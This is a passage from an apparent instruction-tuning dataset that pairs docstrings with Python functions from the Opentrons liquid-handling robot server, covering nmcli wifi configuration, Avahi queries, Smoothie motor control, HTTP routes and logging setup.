for_type is not None, it should be a str containing an element of\nCONNECTION_TYPES, and results will be limited to that connection type..", "conversation_id": 211, "message_id": 1 }, { "role": "assistant", "content": "async def connections(for_type=None):\n fields = ['name', 'type', 'active']\n res, _ = await _call(['-t', '-f', ','.join(fields), 'connection', 'show'])\n found = _dict_from_terse_tabular(\n fields,\n res,\n transformers={'type': lambda s: s.split('-')[-1],\n 'active': lambda s: s.lower() == 'yes'}\n )\n if for_type is not None:\n if for_type not in CONNECTION_TYPES:\n raise ValueError('typename {} not in valid connections types {}'\n .format(for_type, CONNECTION_TYPES))\n should_return = []\n for c in found:\n if c['type'] == for_type:\n should_return.append(c)\n return should_return\n else:\n return found", "conversation_id": 211, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 212, "message_id": 0 }, { "role": "user", "content": "If there is already a connection for this ssid, return the name of\nthe connection; if there is not, return None..", "conversation_id": 212, "message_id": 1 }, { "role": "assistant", "content": "async def connection_exists(ssid):\n nmcli_conns = await connections()\n for wifi in [c['name']\n for c in nmcli_conns if c['type'] == 'wireless']:\n res, _ = await _call(['-t', '-f', '802-11-wireless.ssid',\n '-m', 'tabular',\n 'connection', 'show', wifi])\n if res == ssid:\n return wifi\n return None", "conversation_id": 212, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 213, "message_id": 0 }, { "role": "user", "content": "Delete all connections of con_type but the one specified..", "conversation_id": 213, "message_id": 1 }, { "role": "assistant", "content": "async def _trim_old_connections(new_name, con_type):\n existing_cons = await connections(for_type=con_type)\n not_us = [c['name'] for c in existing_cons if c['name'] != new_name]\n ok = True\n res = []\n for c in not_us:\n this_ok, remove_res = await remove(name=c)\n ok = ok and this_ok\n if not this_ok:\n log.warning(\"Could not remove wifi connection {}: {}\"\n .format(c, remove_res))\n res.append(remove_res)\n else:\n log.debug(\"Removed old wifi connection {}\".format(c))\n return ok, ';'.join(res)", "conversation_id": 213, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 214, "message_id": 0 }, { "role": "user", "content": "Configure a connection but do not bring it up (though it is configured\nfor autoconnect).\n\n\n\nOnly anticipated failures are treated that way - for instance, an ssid\nthat doesn't exist will get a False and a message; a system where nmcli\nis not found will raise a CalledProcessError.\n\nThe ssid is mandatory. If security_type is 'wpa-psk', the psk must be\nspecified; if security_type is 'none', the psk will be ignored.\n\nIf security_type is not specified, it will be inferred from the specified\narguments..", "conversation_id": 214, "message_id": 1 }, { "role": "assistant", "content": "async def configure(ssid, \n security_type=None,\n psk=None,\n hidden=False,\n up_retries=3):\n if None is security_type and None is not psk:\n security_type = 'wpa-psk'\n if security_type and security_type not in SUPPORTED_SECURITY_TYPES:\n message = 'Only security types {} are supported'\\\n .format(SUPPORTED_SECURITY_TYPES)\n log.error(\"Specified security type <{}> is not supported\"\n .format(security_type))\n return False, message\n already = await connection_exists(ssid)\n if already:\n _1, _2 = await _call(['connection', 'delete', already])\n configure_cmd = ['connection', 'add',\n 'save', 'yes',\n 'autoconnect', 'yes',\n 'ifname', 'wlan0',\n 'type', 'wifi',\n 'con-name', ssid,\n 'wifi.ssid', ssid]\n if security_type:\n configure_cmd += ['wifi-sec.key-mgmt', security_type]\n if psk:\n configure_cmd += ['wifi-sec.psk', psk]\n if hidden:\n configure_cmd += ['wifi.hidden', 'true']\n res, err = await _call(configure_cmd)\n uuid_matches = re.search( \n \"Connection '(.*)'[\\s]+\\(([\\w\\d-]+)\\) successfully\", res) \n if not uuid_matches:\n return False, err.split('\\r')[-1]\n name = uuid_matches.group(1)\n uuid = uuid_matches.group(2)\n for _ in range(up_retries):\n res, err = await _call(['connection', 'up', 'uuid', uuid])\n if 'Connection successfully activated' in res:\n _1, _2 = await _trim_old_connections(name, 'wireless')\n return True, res\n else:\n return False, err.split('\\r')[-1]", "conversation_id": 214, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 215, "message_id": 0 }, { "role": "user", "content": "Remove a network. Depending on what is known, specify either ssid\n(in which case this function will call ``connection_exists`` to get the\nnmcli connection name) or the nmcli connection name directly.\n\nReturns (True, msg) if the connection was deleted, (False, msg) otherwise..", "conversation_id": 215, "message_id": 1 }, { "role": "assistant", "content": "async def remove(ssid=None, name=None) -> (bool, str):\n if None is not ssid:\n name = await connection_exists(ssid)\n if None is not name:\n res, err = await _call(['connection', 'delete', name])\n if 'successfully deleted' in res:\n return True, res\n else:\n return False, err\n else:\n return False, 'No connection for ssid {}'.format(ssid)", "conversation_id": 215, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 216, "message_id": 0 }, { "role": "user", "content": "Get the basic network configuration of an interface.\n\nwhich_iface should be a string in IFACE_NAMES..", "conversation_id": 216, "message_id": 1 }, { "role": "assistant", "content": "async def iface_info(which_iface):\n if which_iface not in IFACE_NAMES:\n raise ValueError('Bad interface name {}, not in {}'\n .format(which_iface, IFACE_NAMES))\n default_res = {'ipAddress': None,\n 'macAddress': None,\n 'gatewayAddress': None}\n fields = ['GENERAL.HWADDR', 'IP4.ADDRESS', 'IP4.GATEWAY', 'GENERAL.STATE']\n res, err = await _call(['--mode', 'tabular',\n '--escape', 'no',\n '--terse', '--fields', ','.join(fields),\n 'dev', 'show', which_iface])\n values = res.split('\\n')\n if len(fields) != len(values):\n raise ValueError(\"Bad result from nmcli: {}\".format(err))\n default_res['macAddress'] = values[0]\n default_res['ipAddress'] = values[1]\n default_res['gatewayAddress'] = values[2]\n return default_res", "conversation_id": 216, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 217, "message_id": 0 }, { "role": "user", "content": "Runs the command in a subprocess and returns the captured stdout output..", "conversation_id": 217, "message_id": 1 }, { "role": "assistant", "content": "async def _call(cmd) -> (str, str):\n to_exec = [quote(c) for c in ['nmcli'] + cmd]\n cmd_str = ' '.join(to_exec)\n proc = await as_subprocess.create_subprocess_shell(\n cmd_str,\n stdout=as_subprocess.PIPE, stderr=as_subprocess.PIPE)\n out, err = await proc.communicate()\n out_str, err_str = out.decode().strip(), err.decode().strip()\n sanitized = sanitize_args(to_exec)\n log.debug('{}: stdout={}'.format(' '.join(sanitized), out_str))\n if err_str:\n log.info('{}: stderr={}'.format(' '.join(sanitized), err_str))\n return out_str, err_str", "conversation_id": 217, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 218, "message_id": 0 }, { "role": "user", "content": "Filter the command so that it no longer contains passwords.", "conversation_id": 218, "message_id": 1 }, { "role": "assistant", "content": "def sanitize_args(cmd) -> (str, str):\n sanitized = []\n for idx, fieldname in enumerate(cmd):\n if idx > 0 and 'wifi-sec.psk' in cmd[idx-1]:\n sanitized.append('****')\n else:\n sanitized.append(fieldname)\n return sanitized", "conversation_id": 218, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 219, "message_id": 0 }, { "role": "user", "content": "Parse NMCLI terse tabular output into a list of Python dict.\n``names`` is a list of strings of field names to apply to the input data,\nwhich is assumed to be colon separated.\n\n``inp`` is the input as a string d) from nmcli\n\n``transformers`` is a dict mapping field names to callables of the form\nf: str -> any. If a fieldname is in transformers, that callable will be\ninvoked on the field matching the name and the result stored.\n\nThe return value is a list with one element per valid line of input, where\neach element is a dict with keys taken from names and values from the input.", "conversation_id": 219, "message_id": 1 }, { "role": "assistant", "content": "def _dict_from_terse_tabular(names, inp, transformers={}):\n res = []\n for n in names:\n if n not in transformers:\n transformers[n] = lambda s: s\n for line in inp.split('\\n'):\n if len(line) < 3:\n continue\n fields = line.split(':')\n res.append(dict([\n (elem[0], transformers[elem[0]](elem[1]))\n for elem in zip(names, fields)]))\n return res", "conversation_id": 219, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 220, "message_id": 0 }, { "role": "user", "content": "Unmount and remove the sqlite database (used in robot reset).", "conversation_id": 220, "message_id": 1 }, { "role": "assistant", "content": "def reset():\n if os.path.exists(database_path):\n os.remove(database_path)\n journal_path = database_path + '-journal'\n if os.path.exists(journal_path):\n os.remove(journal_path)", "conversation_id": 220, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 221, "message_id": 0 }, { "role": "user", "content": "Get request will return a list of discovered ssids..", "conversation_id": 221, "message_id": 1 }, { "role": "assistant", "content": "async def list_networks(request):\n res = {\"list\": []}\n try:\n networks = await nmcli.available_ssids()\n except subprocess.CalledProcessError as e:\n res = \"CalledProcessError: {}\".format(e.stdout)\n status = 500\n except FileNotFoundError as e:\n res = \"FileNotFoundError: {}\".format(e)\n status = 500\n else:\n res[\"list\"] = networks\n status = 200\n return web.json_response(res, status=status)", "conversation_id": 221, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 222, "message_id": 0 }, { "role": "user", "content": "Post request should include a json body specifying config information\n. Robot will attempt to connect to this network and respond\nwith Ok if successful or an error code if not.\n\nFields in the body are:\nssid: str Required. The SSID to connect to..", "conversation_id": 222, "message_id": 1 }, { "role": "assistant", "content": "async def configure(request):\n result = {}\n try:\n body = await request.json()\n ssid = body.get('ssid')\n psk = body.get('psk')\n hidden = body.get('hidden')\n security = body.get('security_type')\n if ssid is None:\n status = 400\n message = 'Error: \"ssid\" string is required'\n else:\n ok, message = await nmcli.configure(ssid,\n security_type=security,\n psk=psk,\n hidden=hidden)\n status = 201 if ok else 401\n result['ssid'] = ssid\n except json.JSONDecodeError as e:\n log.debug(\"Error: JSONDecodeError in /wifi/configure: {}\".format(e))\n status = 400\n message = e.msg\n except Exception as e:\n log.warning(\"Error: {} in /wifi/configure': {}\".format(type(e), e))\n status = 500\n message = 'An unexpected error occurred.'\n result['message'] = message\n log.debug(\"Wifi configure result: {}\".format(result))\n return web.json_response(data=result, status=status)", "conversation_id": 222, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 223, "message_id": 0 }, { "role": "user", "content": "Get request will return the status of the wifi connection from the\nRaspberryPi to the internet.\n\nThe body of the response is a json dict containing.", "conversation_id": 223, "message_id": 1 }, { "role": "assistant", "content": "async def status(request):\n connectivity = {'status': 'none',\n 'ipAddress': None,\n 'macAddress': 'unknown',\n 'gatewayAddress': None}\n try:\n connectivity['status'] = await nmcli.is_connected()\n net_info = await nmcli.iface_info('wlan0')\n connectivity.update(net_info)\n log.debug(\"Connectivity: {}\".format(connectivity['status']))\n status = 200\n except subprocess.CalledProcessError as e:\n log.error(\"CalledProcessError: {}\".format(e.stdout))\n status = 500\n except FileNotFoundError as e:\n log.error(\"FileNotFoundError: {}\".format(e))\n status = 500\n return web.json_response(connectivity, status=status)", "conversation_id": 223, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 224, "message_id": 0 }, { "role": "user", "content": "Avahi Server Version Check, return avahi version string, eg..", "conversation_id": 224, "message_id": 1 }, { "role": "assistant", "content": "def GetVersion(self):\n try:\n return self.server.GetVersionString()\n except dbus.DBusException:\n return None", "conversation_id": 224, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 225, "message_id": 0 }, { "role": "user", "content": "Return hostname according to the Avahi server.", "conversation_id": 225, "message_id": 1 }, { "role": "assistant", "content": "def GetHostName(self):\n try:\n return self.server.GetHostName()\n except dbus.DBusException:\n return None", "conversation_id": 225, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 226, "message_id": 0 }, { "role": "user", "content": "Return hostname according to the Avahi server.", "conversation_id": 226, "message_id": 1 }, { "role": "assistant", "content": "def GetDomainName(self):\n try:\n return self.server.GetDomainName()\n except dbus.DBusException:\n return None", "conversation_id": 226, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 227, "message_id": 0 }, { "role": "user", "content": "Return a new entry group for services.", "conversation_id": 227, "message_id": 1 }, { "role": "assistant", "content": "def EntryGroupNew(self):\n try:\n return self.server.EntryGroupNew()\n except dbus.DBusException:\n return None", "conversation_id": 227, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 228, "message_id": 0 }, { "role": "user", "content": "Execute a reset of the requested parts of the user configuration..", "conversation_id": 228, "message_id": 1 }, { "role": "assistant", "content": "async def reset(request: web.Request) -> web.Response:\n data = await request.json()\n for requested_reset in data.keys():\n if requested_reset not in [opt['id']\n for opt in _settings_reset_options]:\n log.error('Bad reset option {} requested'.format(requested_reset))\n return web.json_response(\n {'message': '{} is not a valid reset option'\n .format(requested_reset)},\n status=400)\n log.info(\"Reset requested for {}\".format(', '.join(data.keys())))\n if data.get('deckCalibration'):\n rc.clear(calibration=True, robot=False)\n if data.get('tipProbe'):\n config = rc.load()\n config.tip_length.clear()\n rc.save_robot_settings(config)\n if data.get('labwareCalibration'):\n db.reset()\n if data.get('bootScripts'):\n if os.environ.get('RUNNING_ON_PI'):\n if os.path.exists('/data/boot.d'):\n shutil.rmtree('/data/boot.d')\n else:\n log.debug('Not on pi, not removing /data/boot.d')\n return web.json_response({}, status=200)", "conversation_id": 228, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 229, "message_id": 0 }, { "role": "user", "content": "Moves the robot to the specified position as provided by the `control.info`\nendpoint response.", "conversation_id": 229, "message_id": 1 }, { "role": "assistant", "content": "async def move(request):\n req = await request.text()\n data = json.loads(req)\n target, point, mount, model, message, error = _validate_move_data(data)\n if error:\n status = 400\n else:\n status = 200\n if target == 'mount':\n message = _move_mount(mount, point)\n elif target == 'pipette':\n pipette, _ = _fetch_or_create_pipette(mount, model)\n pipette.move_to((robot.deck, point), strategy='arc')\n new_position = tuple(\n pose_tracker.absolute(pipette.robot.poses, pipette))\n message = \"Move complete. New position: {}\".format(new_position)\n return web.json_response({\"message\": message}, status=status)", "conversation_id": 229, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 230, "message_id": 0 }, { "role": "user", "content": "This initializes a call to pipette.home() which, as a side effect will:\n1. Check the pipette is actually connected (will throw an error if you\ntry to home a non-connected pipette)\n2. Re-engages the motor.", "conversation_id": 230, "message_id": 1 }, { "role": "assistant", "content": "async def home(request):\n req = await request.text()\n data = json.loads(req)\n target = data.get('target')\n if target in ['robot', 'pipette']:\n if target == 'robot':\n robot.home()\n status = 200\n message = \"Homing robot.\"\n else:\n mount = data.get('mount')\n if mount in ['left', 'right']:\n pipette, should_remove = _fetch_or_create_pipette(mount)\n pipette.home()\n if should_remove:\n robot.remove_instrument(mount)\n status = 200\n message = \"Pipette on {} homed successfully.\".format(mount)\n else:\n status = 400\n message = \"Expected 'left' or 'right' as values for mount\" \\\n \"got {} instead.\".format(mount)\n else:\n status = 400\n message = \"Expected 'robot' or 'pipette' got {}.\".format(target)\n return web.json_response({\"message\": message}, status=status)", "conversation_id": 230, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 231, "message_id": 0 }, { "role": "user", "content": "Reads in an attached pipette's UUID\nThe UUID is unique to this pipette, and is a string of unknown length\n\nString (str) with value 'left' or 'right'.", "conversation_id": 231, "message_id": 1 }, { "role": "assistant", "content": "def read_pipette_id(self, mount):\n if self.simulating:\n res = '1234567890'\n else:\n res = self._read_from_pipette(GCODES['READ_INSTRUMENT_ID'], mount)\n if res:\n ret = {'pipette_id': res}\n else:\n ret = {'message': 'Error: Pipette ID read failed'}\n return ret", "conversation_id": 231, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 232, "message_id": 0 }, { "role": "user", "content": "Reads an attached pipette's MODEL\nThe MODEL is a unique string for this model of pipette\n\n:return model string, or None.", "conversation_id": 232, "message_id": 1 }, { "role": "assistant", "content": "def read_pipette_model(self, mount):\n if self.simulating:\n res = None\n else:\n res = self._read_from_pipette(\n GCODES['READ_INSTRUMENT_MODEL'], mount)\n if res and '_v' not in res:\n res = res + '_v1'\n elif res and '_v13' in res:\n res = res.replace('_v13', '_v1.3')\n return res", "conversation_id": 232, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 233, "message_id": 0 }, { "role": "user", "content": "Submit a GCODE command to the robot, followed by M400 to block until\ndone. This method also ensures that any command on the B or C axis\n(the axis for plunger control) do current ramp-up and ramp-down, so\nthat plunger motors rest at a low current to prevent burn-out.\n\nIn the case of a limit-switch alarm during any command other than home,\nthe robot should home the axis from the alarm and then raise a\nSmoothieError. The robot should *not* recover and continue to run the\nprotocol, as this could result in unpredicable handling of liquids.\nWhen a SmoothieError is raised, the user should inspect the physical\nconfiguration of the robot and the protocol and determine why the limit\nswitch was hit unexpectedly. This is usually due to an undetected\ncollision in a previous move command..", "conversation_id": 233, "message_id": 1 }, { "role": "assistant", "content": "def _send_command(self, command, timeout=DEFAULT_SMOOTHIE_TIMEOUT):\n if self.simulating:\n return\n command_line = command + ' ' + SMOOTHIE_COMMAND_TERMINATOR\n ret_code = self._recursive_write_and_return(\n command_line, timeout, DEFAULT_COMMAND_RETRIES)\n ret_code = self._remove_unwanted_characters(command_line, ret_code)\n if (ERROR_KEYWORD in ret_code.lower()) or \\\n (ALARM_KEYWORD in ret_code.lower()):\n self._reset_from_error()\n error_axis = ret_code.strip()[-1]\n if GCODES['HOME'] not in command and error_axis in 'XYZABC':\n self.home(error_axis)\n raise SmoothieError(ret_code)\n return ret_code.strip()", "conversation_id": 233, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 234, "message_id": 0 }, { "role": "user", "content": "Read from an attached pipette's internal memory. The gcode used\ndetermines which portion of memory is read and returned.\n\nAll motors must be disengaged to consistently read over I2C lines.", "conversation_id": 234, "message_id": 1 }, { "role": "assistant", "content": "def _read_from_pipette(self, gcode, mount):\n allowed_mounts = {'left': 'L', 'right': 'R'}\n mount = allowed_mounts.get(mount)\n if not mount:\n raise ValueError('Unexpected mount: {}'.format(mount))\n try:\n self.disengage_axis('BC')\n self.delay(CURRENT_CHANGE_DELAY)\n res = self._send_command(gcode + mount)\n if res:\n res = _parse_instrument_data(res)\n assert mount in res\n return _byte_array_to_ascii_string(res[mount])\n except (ParseError, AssertionError, SmoothieError):\n pass", "conversation_id": 234, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 235, "message_id": 0 }, { "role": "user", "content": "Move to the `target` Smoothieware coordinate, along any of the size\naxes, XYZABC.\n\ndict\ndict setting the coordinate that Smoothieware will be at when\n`move()` returns. `target` keys are the axis in upper-case, and the\nvalues are the coordinate in millimeters (float)\n\nboolean (default=False)\nIf set to `True`, each axis included within the target coordinate\nmay be homed before moving, determined by Smoothieware's internal\nhoming-status flags (`True` means it has already homed). All axes'\nflags are set to `False` by Smoothieware under three conditions:\n1) Smoothieware boots or resets, 2) if a HALT gcode or signal\nis sent, or 3) a homing/limitswitch error occured..", "conversation_id": 235, "message_id": 1 }, { "role": "assistant", "content": "def move(self, target, home_flagged_axes=False):\n from numpy import isclose\n self.run_flag.wait()\n def valid_movement(coords, axis):\n return not (\n (axis in DISABLE_AXES) or\n (coords is None) or\n isclose(coords, self.position[axis])\n )\n def create_coords_list(coords_dict):\n return [\n axis + str(round(coords, GCODE_ROUNDING_PRECISION))\n for axis, coords in sorted(coords_dict.items())\n if valid_movement(coords, axis)\n ]\n backlash_target = target.copy()\n backlash_target.update({\n axis: value + PLUNGER_BACKLASH_MM\n for axis, value in sorted(target.items())\n if axis in 'BC' and self.position[axis] < value\n })\n target_coords = create_coords_list(target)\n backlash_coords = create_coords_list(backlash_target)\n if target_coords:\n non_moving_axes = ''.join([\n ax\n for ax in AXES\n if ax not in target.keys()\n ])\n self.dwell_axes(non_moving_axes)\n self.activate_axes(target.keys())\n command = self._generate_current_command()\n if backlash_coords != target_coords:\n command += ' ' + GCODES['MOVE'] + ''.join(backlash_coords)\n command += ' ' + GCODES['MOVE'] + ''.join(target_coords)\n try:\n for axis in target.keys():\n self.engaged_axes[axis] = True\n if home_flagged_axes:\n self.home_flagged_axes(''.join(list(target.keys())))\n log.debug(\"move: {}\".format(command))\n self._send_command(command, timeout=DEFAULT_MOVEMENT_TIMEOUT)\n finally:\n plunger_axis_moved = ''.join(set('BC') & set(target.keys()))\n if plunger_axis_moved:\n self.dwell_axes(plunger_axis_moved)\n self._set_saved_current()\n self._update_position(target)", "conversation_id": 235, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 236, "message_id": 0 }, { "role": "user", "content": "In order to terminate Smoothie motion immediately (including\ninterrupting a command in progress, we set the reset pin low and then\nback to high, then call `_setup` method to send the RESET_FROM_ERROR\nSmoothie code to return Smoothie to a normal waiting state and reset\nany other state needed for the driver..", "conversation_id": 236, "message_id": 1 }, { "role": "assistant", "content": "def kill(self):\n log.debug(\"kill\")\n self._smoothie_hard_halt()\n self._reset_from_error()\n self._setup()", "conversation_id": 236, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 237, "message_id": 0 }, { "role": "user", "content": "Function that sets log levels and format strings. Checks for the\nOT_LOG_LEVEL environment variable otherwise defaults to DEBUG..", "conversation_id": 237, "message_id": 1 }, { "role": "assistant", "content": "def log_init():\n fallback_log_level = 'INFO'\n ot_log_level = robot.config.log_level\n if ot_log_level not in logging._nameToLevel:\n log.info(\"OT Log Level {} not found. Defaulting to {}\".format(\n ot_log_level, fallback_log_level))\n ot_log_level = fallback_log_level\n level_value = logging._nameToLevel[ot_log_level]\n serial_log_filename = environment.get_path('SERIAL_LOG_FILE')\n api_log_filename = environment.get_path('LOG_FILE')\n logging_config = dict(\n version=1,\n formatters={\n 'basic': {\n 'format':\n '%(asctime)s %(name)s %(levelname)s [Line %(lineno)s] %(message)s' \n }\n },\n handlers={\n 'debug': {\n 'class': 'logging.StreamHandler',\n 'formatter': 'basic',\n 'level': level_value\n },\n 'serial': {\n 'class': 'logging.handlers.RotatingFileHandler',\n 'formatter': 'basic',\n 'filename': serial_log_filename,\n 'maxBytes': 5000000,\n 'level': logging.DEBUG,\n 'backupCount': 3\n },\n 'api': {\n 'class': 'logging.handlers.RotatingFileHandler',\n 'formatter': 'basic',\n 'filename': api_log_filename,\n 'maxBytes': 1000000,\n 'level': logging.DEBUG,\n 'backupCount': 5\n }\n },\n loggers={\n '__main__': {\n 'handlers': ['debug', 'api'],\n 'level': logging.INFO\n },\n 'opentrons.server': {\n 'handlers': ['debug', 'api'],\n 'level': level_value\n },\n 'opentrons.api': {\n 'handlers': ['debug', 'api'],\n 'level': level_value\n },\n 'opentrons.instruments': {\n 'handlers': ['debug', 'api'],\n 'level': level_value\n },\n 'opentrons.robot.robot_configs': {\n 'handlers': ['debug', 'api'],\n 'level': level_value\n },\n 'opentrons.drivers.smoothie_drivers.driver_3_0': {\n 'handlers': ['debug', 'api'],\n 'level': level_value\n },\n 'opentrons.drivers.serial_communication': {\n 'handlers': ['serial'],\n 'level': logging.DEBUG\n },\n 'opentrons.system': {\n 'handlers': ['debug', 'api'],\n 'level': level_value\n }\n }\n )\n dictConfig(logging_config)", "conversation_id": 237, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 238, "message_id": 0 }, { "role": "user", "content": "Builds an application including the RPC server, and also configures HTTP\nroutes for methods defined in opentrons.server.endpoints.", "conversation_id": 238, "message_id": 1 }, { "role": "assistant", "content": "def init(loop=None):\n server = Server(MainRouter(), loop=loop, middlewares=[error_middleware])\n server.app.router.add_get(\n '/health', endp.health)\n server.app.router.add_get(\n '/wifi/list', wifi.list_networks)\n server.app.router.add_post(\n '/wifi/configure', wifi.configure)\n server.app.router.add_get(\n '/wifi/status', wifi.status)\n server.app.router.add_post(\n '/identify', control.identify)\n server.app.router.add_get(\n '/modules', control.get_attached_modules)\n server.app.router.add_get(\n '/modules/{serial}/data', control.get_module_data)\n server.app.router.add_post(\n '/camera/picture', control.take_picture)\n server.app.router.add_post(\n '/server/update', endpoints.update_api)\n server.app.router.add_post(\n '/server/update/firmware', endpoints.update_firmware)\n server.app.router.add_get(\n '/server/update/ignore', endpoints.get_ignore_version)\n server.app.router.add_post(\n '/server/update/ignore', endpoints.set_ignore_version)\n server.app.router.add_static(\n '/logs', log_file_path, show_index=True)\n server.app.router.add_post(\n '/server/restart', endpoints.restart)\n server.app.router.add_post(\n '/calibration/deck/start', dc_endp.start)\n server.app.router.add_post(\n '/calibration/deck', dc_endp.dispatch)\n server.app.router.add_get(\n '/pipettes', control.get_attached_pipettes)\n server.app.router.add_get(\n '/motors/engaged', control.get_engaged_axes)\n server.app.router.add_post(\n '/motors/disengage', control.disengage_axes)\n server.app.router.add_get(\n '/robot/positions', control.position_info)\n server.app.router.add_post(\n '/robot/move', control.move)\n server.app.router.add_post(\n '/robot/home', control.home)\n server.app.router.add_get(\n '/robot/lights', control.get_rail_lights)\n server.app.router.add_post(\n '/robot/lights', control.set_rail_lights)\n server.app.router.add_get(\n '/settings', settings.get_advanced_settings)\n server.app.router.add_post(\n '/settings', settings.set_advanced_setting)\n server.app.router.add_post(\n '/settings/reset', settings.reset)\n server.app.router.add_get(\n '/settings/reset/options', settings.available_resets)\n return server.app", "conversation_id": 238, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 239, "message_id": 0 }, { "role": "user", "content": "This application creates and starts the server for both the RPC routes\nhandled by opentrons.server.rpc and HTTP endpoints defined here.", "conversation_id": 239, "message_id": 1 }, { "role": "assistant", "content": "def main():\n log_init()\n arg_parser = ArgumentParser(\n description=\"Opentrons application server\",\n prog=\"opentrons.server.main\"\n )\n arg_parser.add_argument(\n \"-H\", \"--hostname\",\n help=\"TCP/IP hostname to serve on (default: %(default)r)\",\n default=\"localhost\"\n )\n arg_parser.add_argument(\n \"-P\", \"--port\",\n help=\"TCP/IP port to serve on (default: %(default)r)\",\n type=int,\n default=\"8080\"\n )\n arg_parser.add_argument(\n \"-U\", \"--path\",\n help=\"Unix file system path to serve on. Specifying a path will cause \"\n \"hostname and port arguments to be ignored.\",\n )\n args, _ = arg_parser.parse_known_args(sys.argv[1:])\n if args.path:\n log.debug(\"Starting Opentrons server application on {}\".format(\n args.path))\n else:\n log.debug(\"Starting Opentrons server application on {}:{}\".format(\n args.hostname, args.port))\n try:\n robot.connect()\n except Exception as e:\n log.exception(\"Error while connecting to motor-driver: {}\".format(e))\n log.info(\"API server version: {}\".format(__version__))\n log.info(\"Smoothie FW version: {}\".format(robot.fw_version))\n if not ff.disable_home_on_boot():\n log.info(\"Homing Z axes\")\n robot.home_z()\n if not os.environ.get(\"ENABLE_VIRTUAL_SMOOTHIE\"):\n setup_udev_rules_file()\n unlock_resin_updates()\n web.run_app(init(), host=args.hostname, port=args.port, path=args.path)\n arg_parser.exit(message=\"Stopped\\n\")", "conversation_id": 239, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 240, "message_id": 0 }, { "role": "user", "content": "Build a fake minor package and return its path.", "conversation_id": 240, "message_id": 1 }, { "role": "assistant", "content": "def build_pkg(package_name, version, in_dir=None):\n if not in_dir:\n td = tempfile.mkdtemp()\n in_dir = os.path.join(td, package_name)\n os.mkdir(in_dir)\n test_setup = \"\"\"\nfrom setuptools import setup\nsetup(name='{0}',\nversion='{1}',\ndescription='Test package',\nurl='http://github.com/Opentrons/opentrons',\nauthor='Opentrons',\nauthor_email='test@example.com',\nlicense='Apache 2.0',\npackages=['{0}'],\nzip_safe=False)\n\"\"\".format(package_name, version)\n test_setup_file = os.path.join(in_dir, 'setup.py')\n with open(test_setup_file, 'w') as tsf:\n tsf.write(test_setup)\n src_dir = os.path.join(in_dir, package_name)\n try:\n os.mkdir(src_dir)\n except FileExistsError:\n pass\n test_code = \"\"\"\nprint(\"all ok\")'\n\"\"\"\n test_file = os.path.join(src_dir, '__init__.py')\n with open(test_file, 'w') as tf:\n tf.write(test_code)\n cmd = '{} setup.py bdist_wheel'.format(sys.executable)\n subprocess.run(cmd, cwd=in_dir, shell=True)\n return os.path.join(\n in_dir, 'dist',\n '{}-{}-py3-none-any.whl'.format(package_name, version))", "conversation_id": 240, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 241, "message_id": 0 }, { "role": "user", "content": "Calculate axis position for a given liquid volume.\nTranslates the passed liquid volume to absolute coordinates\non the axis associated with this pipette.\n\nCalibration of the pipette motor's ul-to-mm conversion is required.", "conversation_id": 241, "message_id": 1 }, { "role": "assistant", "content": "def _aspirate_plunger_position(self, ul):\n model = self.name\n if self.ul_per_mm:\n ul_per_mm = lambda: self.ul_per_mm\n else:\n ul_per_mm = 